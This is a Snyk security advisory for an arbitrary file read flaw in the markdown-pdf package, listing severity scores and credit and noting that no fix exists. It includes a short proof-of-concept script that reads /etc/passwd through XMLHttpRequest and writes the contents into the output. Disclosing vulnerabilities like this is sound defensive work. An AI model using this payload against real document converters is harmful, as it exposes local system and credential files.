Arbitrary File Read Affecting markdown-pdf package, versions *


0.0
medium
0
10

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.19% (57th percentile)
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NVD
8.2 high

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  • Snyk ID SNYK-JS-MARKDOWNPDF-5411358
  • published 5 Apr 2023
  • disclosed 5 Apr 2023
  • credit Carlos Bello from Fluid Attacks' Offensive Team.

How to fix?

There is no fixed version for markdown-pdf.

Overview

markdown-pdf is a Markdown to PDF converter.

Affected versions of this package are vulnerable to Arbitrary File Read due to improper validation of the Markdown content entered by the user.

PoC

<script>
    // Path Disclosure
    document.write(window.location);
    // Arbitrary Local File Read
    xhr = new XMLHttpRequest;
    xhr.onload=function(){document.write((this.responseText))};
    xhr.open("GET","file:///etc/passwd");
    xhr.send();
</script>

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